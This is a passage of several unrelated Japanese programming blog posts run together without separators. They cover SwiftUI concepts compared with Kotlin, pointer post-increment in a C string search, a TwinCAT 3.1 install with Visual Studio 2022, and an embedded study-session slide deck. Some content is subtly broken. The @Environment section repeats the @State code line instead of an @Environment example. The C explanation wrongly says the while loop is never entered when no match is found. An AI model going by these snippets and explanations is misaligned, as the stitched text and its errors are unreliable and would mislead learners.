            (!showFavoritesOnly || landmark.isFavorite)
        }
    }
    
    var body: some View {
        NavigationSplitView {
            List {
                Toggle(isOn: $showFavoritesOnly) {
                    Text("Favorites only")
                }
                
                ForEach(filteredLandmarks) { landmark in
                    NavigationLink {
                        LandmarkDetail(landmark: landmark)
                    } label: {
                        LandmarkRow(landmark: landmark)
                    }
                }
            }
            .animation(.default, value: filteredLandmarks)
            .navigationTitle("Landmarks")
        } detail: {
            Text("Select a Landmark")
        }
    }
}
```

### struct(構造体)
```struct.swift
struct LandmarkList: View {
```
SwiftUIでは、Viewに準拠したstructを使うことでUIを構築します。
そこまではわかりやすいのですが、他でも多々使われているようで。

```Landmark.swift
struct Landmark: Hashable, Codable, Identifiable {
    var id: Int
    var name: String
    var park: String
    var state: String
    var description: String
    var isFavorite: Bool

    
    private var imageName: String
    var image: Image {
        Image(imageName)
    }
    
    private var coordinates: Coordinates
    var locationCoordinate: CLLocationCoordinate2D {
           CLLocationCoordinate2D(
               latitude: coordinates.latitude,
               longitude: coordinates.longitude)
       }
    
    struct Coordinates: Hashable, Codable {
        var latitude: Double
        var longitude: Double
    }
}
```

こんな感じで使われているのですが、Kotlinには構造体がないので、どういった目的で使われてるのか最初はピンときませんでした。

調べてみて、値渡し(copy)をできたり、継承できないといった特徴がわかり、Kotlinでいうところのdata classに近いものと理解しました。

ひとまとまりのデータを表現するのにはstructを使っておくのが良さそうです。

### ＠State
```State.swift
@State private var showFavoritesOnly = false
```
値の更新を監視するためのもの。これを使わないとstruct内でプロパティを変更することができないので、値が変わった時の再描画もできない

Kotlin(Compose)で言うところのmutableStateFlowあたりが近いかなと思いました。

### ＠environment
```Environment.swift
@State private var showFavoritesOnly = false
```
これが一番わからなかったです。最初は環境変数やグローバル変数みたいな話なのかと思っていましたが、そうでもないようで。

どうやら、親ビューから暗黙的に値を注入できるようになるみたいで、DIコンテナのような役割を果たすようです。

DIコンテナは値の扱いを楽にしますが、暗黙的に行なってしまうことから、データの流れを追いにくくなる気がしますね。

特に初学者は理解が必要な部分だと感じました。

### 
# おわりに
「これはKotlinにおける〜」って考え方で一つずつ調べていけば、概念的にはそんなに難しくないことが多かったです。

全然関係ないですが、Android Studioのショートカットに慣れすぎたせいで
Xcodeの操作が辛いです。
オペランドと演算子について(結合と演算の優先順位)

ポインタについて勉強し始めて3日目。以下のようなコードに遭遇しました。

```C:C
int str_chr(const char *s, int ch)
{
  int idx = 0;
  while (*s)
  {
    if (*s++ == ch)
      return idx;
    idx++;
  }
  return -1;
}
```


このコードは、chを検索キーとして文字列`s`に対して検索をかけ、`ch`があればその添え字を返し、なければ-1を返すというもの。
`s`は文字列の先頭アドレスを指すポインタであり、`*s`で中身を参照できる。
if文の条件式の中でポインタをインクリメントし、検索キーに一致する文字が見つかったら、`idx`の値を返して終了。
一致する文字が見つからない場合(つまり*sがヌル文字になった場合)、`while`ループには突入せず、-1を返して処理終了。ということだが、

この`if(*s++ == ch)`という書き方で、なぜポインタがインクリメントされるのか分からなくて躓いてました。演算子とオペランドの結合の優先順位と、演算の優先順位のことがよくわかってなかったのが原因でした。

# `if(*s++ == ch)`で何が行われているか

前提知識
* `++(後置インクリメント演算子)`の方が、`*(ポインタの間接参照演算子)`より優先度が高い
* `++`の意味は「その式全体の評価が終わった後に、結合しているオペランドの値を+1する」

①まずは`s`に`++`が結合し、`s++`となる。左辺は`*(s++)`となる。まだインクリメントはされない。
②`*s == ch`が評価される
③ `s`がインクリメントされる

パッと見たとき、`(*s)++`のように読んでしまい、`s`の中身をインクリメントしてしまうのでは…?と勘違いしてしまいました。
Windows10へのTWINCAT3.1インストール

# 初めに
Visual studioのアーカイブが有料となった為、 最新のVisual studio 2022を使う必要がある。
その為、2022に対応する　TwinCAT 3.1: Build 4026　を使用する必要がある。

# インストール準備
Visual studio必須な為、インストール。
個人利用の為、下記をインストール
https://visualstudio.microsoft.com/ja/vs/community/

#### ワークロードの選択

ワークロードの選択画面が表示されたら、 .NETデスクトップ開発を選択
![https___qiita-image-store.s3.ap-northeast-1.amazonaws.com_0_3160433_3f8da720-684f-031e-ba2b-64d0337c290d.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577522/310e2ad4-c8bb-42a5-984a-3342db14c01d.png)


# TWINCATインストール
今回から、インストールにはpackageマネージャを使うこととなった為、下記よりダウンロード
なお、無料の会員登録必要です。
TwinCAT Package Manager (TwinCAT 3.1 Build 4026)
https://www.beckhoff.com/ja-jp/support/download-finder/search-result/?download_group=725136885

pakageマネージャをインストールして開くと会員情報を聞いてきますので入れましょう。
![16464042123__Web.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577522/8fa08beb-1dfc-46c7-8c0e-f68c4ef0b5a4.png)

その後、Visual studioとの連携を聞いてくるのでvisual studio 2022 communityと
XAEシェルを導入。64bit版だけでOK。
![16464045963__Web.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577522/dff040c4-2793-40f4-af75-3d0ec2158c0b.png)
その次に下記の画面に遷移するので、TWINCAT standardを選択し、右の再度のバージョンが4026になっていることを確認し、Installボタンを押せばインストールが始まる。
![media.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/577522/98f6d867-319e-44f7-ae1f-a2e2b7327fdf.png)
社内勉強会「結合度・凝集度」

社内勉強会用に作成した資料です。

<iframe src="https://docs.google.com/presentation/d/1C1BvlD-2SrncjBPjdaI6sDo7ZzWRcsJqcusFQHTln4U/embed?start=false&loop=false&delayms=3000" 
        frameborder="0" 
        width="640" 
        height="480" 
        allowfullscreen="true"></iframe>